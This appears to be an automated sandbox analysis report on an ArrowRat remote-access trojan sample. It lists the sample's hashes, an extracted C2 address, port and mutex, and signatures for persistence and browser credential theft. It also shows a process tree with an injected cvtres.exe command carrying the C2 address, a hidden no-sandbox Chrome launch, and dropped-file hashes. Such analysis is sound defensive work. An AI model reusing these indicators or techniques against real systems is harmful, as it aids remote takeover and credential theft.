Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-08-2024 15:54

General

  • Target

    Client.exe

  • Size

    158KB

  • MD5

    b0e4bd2a0ae239b56802a213e420d374

  • SHA1

    7cb945ab693f92094031f99274ce58b5887e54cc

  • SHA256

    b3a46d84a821e762923de3ea33e408018c73d739e2ebf10a411f2eddaaff17f1

  • SHA512

    da7fd77f9c460e06ca28e97a198a9ba02adda1437daba08c1fd7c5e4456b6ad8d88d4a0ef581e7adf0ba65c686dcfbdd8c3ee0ef4929aa00ab1010866fd640f1

  • SSDEEP

    3072:gbzDDH+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfPiSO8Y:gbzDDe0ODhTEPgnjuIJzo+PPcfPiN8

Malware Config

Extracted

Family

arrowrat

Botnet

Client

C2

147.185.221.21:37029

Mutex

dqeqvDOqo

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 33 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 45 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Client.exe
    "C:\Users\Admin\AppData\Local\Temp\Client.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4308
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:2740
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 147.185.221.21 37029 dqeqvDOqo
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4440
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" " https://niggafart.com" --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --no-sandbox --allow-no-sandbox-job --disable-accelerated-layers --disable-accelerated-plugins --disable-audio --disable-gpu --disable-d3d11 --disable-accelerated-2d-canvas --disable-deadline-scheduling --disable-ui-deadline-scheduling --aura-no-shadows --mute-audio
        3⤵
        • Enumerates system info in registry
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:2604
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\Pandora /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\Pandora --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffe82a4cc40,0x7ffe82a4cc4c,0x7ffe82a4cc58
          4⤵
            PID:624
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1840,i,14936853977372662655,13214538396556134407,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=1620 /prefetch:2
            4⤵
              PID:4804
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --no-appcompat-clear --field-trial-handle=1900,i,14936853977372662655,13214538396556134407,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=1912 /prefetch:3
              4⤵
                PID:2720
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --no-appcompat-clear --field-trial-handle=2036,i,14936853977372662655,13214538396556134407,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2228 /prefetch:8
                4⤵
                  PID:536
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --no-appcompat-clear --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2812,i,14936853977372662655,13214538396556134407,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2856 /prefetch:1
                  4⤵
                    PID:1660
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --no-appcompat-clear --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2820,i,14936853977372662655,13214538396556134407,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2860 /prefetch:1
                    4⤵
                      PID:4808
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --no-appcompat-clear --field-trial-handle=4332,i,14936853977372662655,13214538396556134407,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4284 /prefetch:8
                      4⤵
                        PID:776
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --no-appcompat-clear --field-trial-handle=4464,i,14936853977372662655,13214538396556134407,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4108 /prefetch:8
                        4⤵
                          PID:2732
                  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                    1⤵
                    • Modifies registry class
                    • Suspicious use of SetWindowsHookEx
                    PID:3236
                  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                    1⤵
                    • Modifies Internet Explorer settings
                    • Modifies registry class
                    • Suspicious use of SetWindowsHookEx
                    PID:3424
                  • C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
                    "C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
                    1⤵
                      PID:4072
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                      1⤵
                        PID:4472

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\CrashpadMetrics-active.pma

                        Filesize

                        1024KB

                        MD5

                        9a31b075da019ddc9903f13f81390688

                        SHA1

                        d5ed5d518c8aad84762b03f240d90a2d5d9d99d3

                        SHA256

                        95cf4025babcd46069b425449c98ed15d97d364b2461417caa9aa0c13cb372e1

                        SHA512

                        a04726a429ae727d685f0836327c625d2f18d6327253216a9a31265a324b68b06bec4e7f1b744d261a0e67fa0a90c43719aeda9d2998f42525b0ff5640c7bf1e

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Crashpad\settings.dat

                        Filesize

                        40B

                        MD5

                        ebd1e0c475994371b3998462615f0d05

                        SHA1

                        14e355cb59a4e518018b776164c6d0217aca50e8

                        SHA256

                        6982055c717bbdaed4aeec95fd9209e1f933093cf5419bc09194366ee80b0541

                        SHA512

                        7aa0bc09e0f291418fe3b6683c2e6e83781a2d96af1d36fd47162a132cfb1fe0051135fe401c6f953c85948974aa79343fb88a0d40ed31be7c60249ae21a3a32

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Affiliation Database

                        Filesize

                        52KB

                        MD5

                        abd5f8ea3d9a79d25ad874145769b9fd

                        SHA1

                        0e5cb55791194d802b3d3983be3a34d364d7a78d

                        SHA256

                        50e624ab71e65f7bff466e9066621f0ee85e87f74eacd85f1952433294e1c5fd

                        SHA512

                        19126380f34e2a2517fda41cb1b824b4a0fb467b60126120deab669288fc3e851da481655dc1887f17762b6394957c4bee882dc233f7564433e25d947c80e66b

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Cache\Cache_Data\data_0

                        Filesize

                        44KB

                        MD5

                        280a005e6642b1b055395cc232b540d2

                        SHA1

                        ad6b62865e5264620874ff7d70c907cf3bc9ecb3

                        SHA256

                        e7fcf032a9bcbb13b7f99e1b1cb5ae21bee96f14ef56ead5837d461053d22eed

                        SHA512

                        6a87986af322ec8ffca60fb7461631174e29c118cebac929136155abf6ac7dcc7fc1290460f6a146f894dcc5ec92e411e2a4c54cd1e9729f05f2e1df6f14565b

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Cache\Cache_Data\data_1

                        Filesize

                        264KB

                        MD5

                        083f7564d1ee567338ddc9366993b8fe

                        SHA1

                        470d445844b1ca26e12ec48cd10663af6aacb4f2

                        SHA256

                        e0170d285ed868094ded54140857a1f01435cf3b90a331b3be702ebbeb8e350c

                        SHA512

                        f80b91375945dbdb40f9e95fe8c0e83a2ba46a8dcccb51725e342cb3691d3a8afe0fc5a6aece23a531d441f7ff8ae96e8e027617472c592c294a8750f0171e04

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Cache\Cache_Data\data_3

                        Filesize

                        4.0MB

                        MD5

                        e2fa2ce3c86eab18441ce914a1deb241

                        SHA1

                        61fa4ece658ac091159e323e286048d0126623d3

                        SHA256

                        45aaf9f4f98ff25be9827231380cb4a5206311f47ed80303676ebaa6b4cbf375

                        SHA512

                        308b8c9488a01eeef54f3339fd9833eac7e8fb53f63b5266a5d43afabe281a63b866ad5037262aa17da24baedc78a4b6ac35ba77f24bdcb992f06cb6cae1cc42

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Cache\Cache_Data\index

                        Filesize

                        512KB

                        MD5

                        4da5d253de60d1e5e845afe9a0454710

                        SHA1

                        bb4dba3d70e30b2cde4bdae669f6a830f118c13e

                        SHA256

                        1cc5b23a02d45364708432077a93473c340eaa1b27002e71d7797f9e8982cbcd

                        SHA512

                        1b80324b8acee1679a0da4ddce8cafb28942c13a145cce36a2e9f41eb6d675fc29f1262406d9e59d1e5776a03718fb180052b4e594a78cdae5d5e36df3ad7f8f

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Code Cache\js\index-dir\the-real-index

                        Filesize

                        96B

                        MD5

                        b21d8725de2c6c311f01fa7440ba2622

                        SHA1

                        f220e1a3a97ca5fe949327e4a2425640b8971517

                        SHA256

                        661fb6c0f7f2051eead2d54d00e7acb8e39f464fd0799273de86adce9dd39cc2

                        SHA512

                        f347567a00e444d039f7a749e04e61b7d4e6830468e33c215b93453e883ba09a3addb37c968106f57b506b053e70bd8b9d36021648f3ef33ea52161e7286d087

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Code Cache\wasm\index-dir\the-real-index

                        Filesize

                        48B

                        MD5

                        4832822e66765cc408301c18e05ae21c

                        SHA1

                        4e7127ac7b507f2c9d7ac1029dff665d6cc40b46

                        SHA256

                        26eb555d36b6541a24f397cf7a1b2c9d8509c8f46213e84b7daa44d41b83effe

                        SHA512

                        12323f7a7d7dcb7615553efca751a9f3f9c045b3e52dce55ed3a9b6f33c4ee6322307c55e8261d102e0ffd652c9442dbc05de79653183e9bdab22960ccd42443

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_metadata\computed_hashes.json

                        Filesize

                        4KB

                        MD5

                        fb9ce642f0acc607e157dd0020736dc4

                        SHA1

                        08e66f287dc2480a99c4dea2a3d7cea3a79dfbbc

                        SHA256

                        7c475a892c8aa1b2a80a7bc08d1151b0178b94d37d9ef468e9bb223561f8e6c2

                        SHA512

                        fc1489d7f546caa5f5d7fe793f881f6084421a18c9ac17b6092c5a5d8ed4ab78f983120f24d676bde852f7dd4f7341dd942dd589d54ae14f9cbfb45d853c04df

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_metadata\verified_contents.json

                        Filesize

                        11KB

                        MD5

                        be5db35513ddef454ce3502b6418b9b4

                        SHA1

                        c82b23a82f745705aa6bcbbefeb6ce3dbcc71cb1

                        SHA256

                        c6f623be1112c2fde6be8941848a82b2292fcd2b475fbd363cc2fd4df25049b5

                        SHA512

                        38c48e67631faf0594d44525423c6edc08f5a65f04288f0569b7cf8c71c359924069212462b0a2bfa38356f93708143ee1cbd42295d7317e8670d0a0cd10bafd

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\computed_hashes.json

                        Filesize

                        10KB

                        MD5

                        90f880064a42b29ccff51fe5425bf1a3

                        SHA1

                        6a3cae3996e9fff653a1ddf731ced32b2be2acbf

                        SHA256

                        965203d541e442c107dbc6d5b395168123d0397559774beae4e5b9abc44ef268

                        SHA512

                        d9cbfcd865356f19a57954f8fd952caf3d31b354112766c41892d1ef40bd2533682d4ec3f4da0e59a5397364f67a484b45091ba94e6c69ed18ab681403dfd3f3

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\verified_contents.json

                        Filesize

                        7KB

                        MD5

                        0834821960cb5c6e9d477aef649cb2e4

                        SHA1

                        7d25f027d7cee9e94e9cbdee1f9220c8d20a1588

                        SHA256

                        52a24fa2fb3bcb18d9d8571ae385c4a830ff98ce4c18384d40a84ea7f6ba7f69

                        SHA512

                        9aeafc3ece295678242d81d71804e370900a6d4c6a618c5a81cacd869b84346feac92189e01718a7bb5c8226e9be88b063d2ece7cb0c84f17bb1af3c5b1a3fc4

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Favicons

                        Filesize

                        20KB

                        MD5

                        b40e1be3d7543b6678720c3aeaf3dec3

                        SHA1

                        7758593d371b07423ba7cb84f99ebe3416624f56

                        SHA256

                        2db221a44885c046a4b116717721b688f9a026c4cae3a17cf61ba9bef3ad97f4

                        SHA512

                        fb0664c1c83043f7c41fd0f1cc0714d81ecd71a07041233fb16fefeb25a3e182a77ac8af9910eff81716b1cceee8a7ee84158a564143b0e0d99e00923106cc16

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\GPUCache\index

                        Filesize

                        256KB

                        MD5

                        aefdb3fdf66759079b889dae4f279e5e

                        SHA1

                        4ce8d109b86b9f74e5a27bfae8b4c30daeaef654

                        SHA256

                        928f841de34348f7c8ed825708200f58e00a1326dbe0cb7f723a3df765266b68

                        SHA512

                        f233a9d708f63231a76a5d8a5814e2d8377d68e226fcbd0b62aa42cee14ea566d930b2385837b1e2132135522bae36127355c7c1abb6cfb05a7cbd0510fe9fc4

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\History

                        Filesize

                        160KB

                        MD5

                        f310cf1ff562ae14449e0167a3e1fe46

                        SHA1

                        85c58afa9049467031c6c2b17f5c12ca73bb2788

                        SHA256

                        e187946249cd390a3c1cf5d4e3b0d8f554f9acdc416bf4e7111fff217bb08855

                        SHA512

                        1196371de08c964268c44103ccaed530bda6a145df98e0f480d8ee5ad58cb6fb33ca4c9195a52181fe864726dcf52e6a7a466d693af0cda43400a3a7ef125fad

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\CURRENT

                        Filesize

                        16B

                        MD5

                        46295cac801e5d4857d09837238a6394

                        SHA1

                        44e0fa1b517dbf802b18faf0785eeea6ac51594b

                        SHA256

                        0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

                        SHA512

                        8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\MANIFEST-000001

                        Filesize

                        41B

                        MD5

                        5af87dfd673ba2115e2fcf5cfdb727ab

                        SHA1

                        d5b5bbf396dc291274584ef71f444f420b6056f1

                        SHA256

                        f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

                        SHA512

                        de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Local Storage\leveldb\LOG

                        Filesize

                        329B

                        MD5

                        649cfdf6129152560292f0bb160b2c78

                        SHA1

                        f198b4c25150e8090b6d363cab512fcf9fda2231

                        SHA256

                        39f27a26adc6852100dfe1728547ec48f2cecfa49e28130cb4bed619f36d0276

                        SHA512

                        726cc2f02c3b206a01139a8851153ef13d9fddfbc446b7630027fae2e6d43f2b508d4c88e427a8839009070976af9a4f6f9865d08c1bf541d760bc94cf63ac07

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Local Storage\leveldb\LOG.old

                        Filesize

                        289B

                        MD5

                        fe967b05f1c5b197762a9b04361cf301

                        SHA1

                        01e6c875f203cfecd4edbd4f8b47743b55fdc13c

                        SHA256

                        39a8d680ff8c0546aa717978f2a5df87094451538c1457ee52a626c294640bfe

                        SHA512

                        5651b3163d053b426b157c3837ccddfc02b8d977fc37375ee006f9e21dfc467c411a404540a49a1c88d6c6ab66920c8394da89943b7662086d65440d3252edad

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Login Data For Account

                        Filesize

                        40KB

                        MD5

                        a182561a527f929489bf4b8f74f65cd7

                        SHA1

                        8cd6866594759711ea1836e86a5b7ca64ee8911f

                        SHA256

                        42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914

                        SHA512

                        9bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Network\Cookies

                        Filesize

                        20KB

                        MD5

                        a603e09d617fea7517059b4924b1df93

                        SHA1

                        31d66e1496e0229c6a312f8be05da3f813b3fa9e

                        SHA256

                        ccd15f9c7a997ae2b5320ea856c7efc54b5055254d41a443d21a60c39c565cb7

                        SHA512

                        eadb844a84f8a660c578a2f8e65ebcb9e0b9ab67422be957f35492ff870825a4b363f96fd1c546eaacfd518f6812fcf57268ef03c149e5b1a7af145c7100e2cc

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Network\Network Persistent State

                        Filesize

                        1KB

                        MD5

                        9c49602873f9dc912fe093ec658072b0

                        SHA1

                        70302e1961df0d72ee4c1efc94c03d28437b5919

                        SHA256

                        0fc455e2a6b9760ea28822a58c06246d4dcccb64c478538d7b8237a19d09ed66

                        SHA512

                        c41c10f127e9abbc8b91cf0a82d9c8620674d3110a68c509b95787db1f97cf4156ebb0c3723948b72890288fa8037dd1d74c0b94df7561808449ccb117562d36

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Network\Reporting and NEL

                        Filesize

                        36KB

                        MD5

                        4881415058a717fc293a1ea5902e3517

                        SHA1

                        496ca610c7f8eda7268f87fd4d1a8c546f2ed74a

                        SHA256

                        8aad4462aac45a8e5ca8700f2c55f94e97b3c14c5198d580eb3d7dd2b354a319

                        SHA512

                        b9d44c6b14d0014a5e9d88ce8305258fed9852218b438cf89bdb44790a6df626c62f69fad1c8e6849adcfeed38f3705f89485c68ab1c19e13cfd90121f735791

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Network\SCT Auditing Pending Reports

                        Filesize

                        2B

                        MD5

                        d751713988987e9331980363e24189ce

                        SHA1

                        97d170e1550eee4afc0af065b78cda302a97674c

                        SHA256

                        4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

                        SHA512

                        b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Network\TransportSecurity

                        Filesize

                        354B

                        MD5

                        b29ab533e76c63aca15fde705ba302ba

                        SHA1

                        72a7f9c9688d75a22616f40d40195cba188d3a77

                        SHA256

                        52532ebe740a67a10c332c8d54edadf828c127103df914ddf47cf71231fe87c8

                        SHA512

                        1b731c19ad0979fe720038468f5312dfd64d833e6cb932ef6339f42f6ba6c84fe93bb1e9cb0b36aa88850b1b59b50e33213cf6175f74b887b1cb330bb5534b9b

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Network\Trust Tokens

                        Filesize

                        36KB

                        MD5

                        767a7db34589653629c0d4299aa9eb7a

                        SHA1

                        57375ca0b80b3c856b76b3b080270686c90ccb8e

                        SHA256

                        78a4734f08b47286a3736c88c6fc481f76bd2b1a46e29d0920939f088ce899fd

                        SHA512

                        a01b63edaceab16394320bd2d9152faac7f0c3971001049e8e931b6403f97d8e5e6f4e9020a446cfb573241321cfd26c3d982f30139799fa7fc32617cd1ec859

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Preferences

                        Filesize

                        7KB

                        MD5

                        8a69bc1d60a79f0f9cba52c0e49a80a8

                        SHA1

                        40756e972d6f801b9b3a53297e5084989a1bb2b1

                        SHA256

                        cb4229ba7a8724062a6fdd1ebda1edd92cc1726d68877a2ad980c384b1396bde

                        SHA512

                        e1302a39ba833d0cc258f395c0dfd533c45802959e35891891aea49e30cdc4e380cc905c3416ee60aa4ba56e57f5fa096d3001d256bc6f7e386e650af6883c36

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Preferences

                        Filesize

                        8KB

                        MD5

                        742ab88b60f5f8452ee861e5e6f8a223

                        SHA1

                        e0bbe79e4bf47386c0658d3e2800d55e439b5115

                        SHA256

                        b4378d8cda5db49f36af97bb3c0f27388effa003217785571f1c81947c255b7f

                        SHA512

                        9340d505e1056ece603643642bce03c661689cded3e82848d0c8bc4ba47191d777712f863e0f186b4b97aa2bf38734c05ea0b9e2d575e4ff2934d6426b45e761

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Secure Preferences

                        Filesize

                        15KB

                        MD5

                        1d067bd763a3fcca79a558f3d532812e

                        SHA1

                        4c22340d79733b17ed5b319155007a4ae0748572

                        SHA256

                        703b0e17f86c12bc4098b56e8276405fce777c10b532f6f392e6891b7db1cda5

                        SHA512

                        75617eb04da9c8b73bcc600bb887ffe06a6d340edc19e9fbf788f6dbf7f8378bd312922a994a83b0f4e2c778327529b7893c56537fc4f100e10418a30ba36515

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Secure Preferences

                        Filesize

                        15KB

                        MD5

                        af1b1964d8721973d2843aed5e340047

                        SHA1

                        2eb340b944ed44c453d015f580b3a86365e682fa

                        SHA256

                        2043af95b9f1a8c0b34e4f9dbfca634356d95365786ece102c641536a06bc1d5

                        SHA512

                        e31a42063115e12f3ee21a392d507293cf0c0ee2362fb15962c4e614d93f81c0700fe60f7fde8854bc6c8dec31452a47d29b51a78f2b01b82f0eb97c93d1e1ea

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Service Worker\Database\000003.log

                        Filesize

                        2KB

                        MD5

                        25f4d9f268de1c1971dff3ce4cf1d4da

                        SHA1

                        8fb72c0e94a0f400de320fa2fa5173762890157e

                        SHA256

                        527cf1f5f3dbb413ad60e107e20360126e9465373ac18fdf00b3a42adad334fa

                        SHA512

                        550038bb4637055d5ec95465bbe7459aa51200ec34c71198950fa9aa41dc92ac401842a6321ab33c2d72c8887ac650705076e7e3ddef32033abd7d2781f9c4ac

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Service Worker\Database\LOG

                        Filesize

                        333B

                        MD5

                        67a32b60b0f06539a93c0757a1696f6d

                        SHA1

                        35dfecf4386b128242f7f9d25f88d6dbb8c23317

                        SHA256

                        b36e8702b8201264e6b247c1a5f488c51e7f6bd451b19f7fff8d20b9d9801078

                        SHA512

                        ea82859579ab4ece2738393763d2ceef30aa05b92eedc1120f7ee3f68fec80015e8b042b5c4239b3e2bc7bf3fc41e8a44ed0961c19d7926157d6aaf5b01be093

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Service Worker\Database\LOG.old

                        Filesize

                        293B

                        MD5

                        3f5a5606c711390191c29b4006ee1d33

                        SHA1

                        030d9a742ef071d6a92d710e0614dbdf65275e22

                        SHA256

                        3c93a51aa39104346ec88be977a4fe9910ae5ff5da0bac77e9b4d337b0b0a0e9

                        SHA512

                        9ac5b8c891a707e3bd875844b30cb2f18b1a2f37091845153fad3b380cb3ec7be2d611d20f54ef23dbb3467d1394209702891808df945a71c814cff0bf6c5a5e

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Shared Dictionary\cache\index-dir\the-real-index

                        Filesize

                        48B

                        MD5

                        0d23924eaf9ca795cdd197e3932421aa

                        SHA1

                        ed3de2b4fb9ba8ae888149b490a07ea53fd2f0bd

                        SHA256

                        315a77353c6f6dd3fae2f6fdb1819f24104dc921988a8618f2075b96899f8806

                        SHA512

                        78fa1c051497f9204769b5d19a02d2f39d1297d58bb2cb8e1e80186305c2630fb046ac01ac467f0d26a2a3b9057eec30cd405a85de24948b722323a1ba003ce4

                      • C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Shared Dictionary\db

                        Filesize

                        44KB

                        MD5

                        491de38f19d0ae501eca7d3d7d69b826

                        SHA1

                        2ecf6fcf189ce6d35139daf427a781ca66a1eba9

                        SHA256

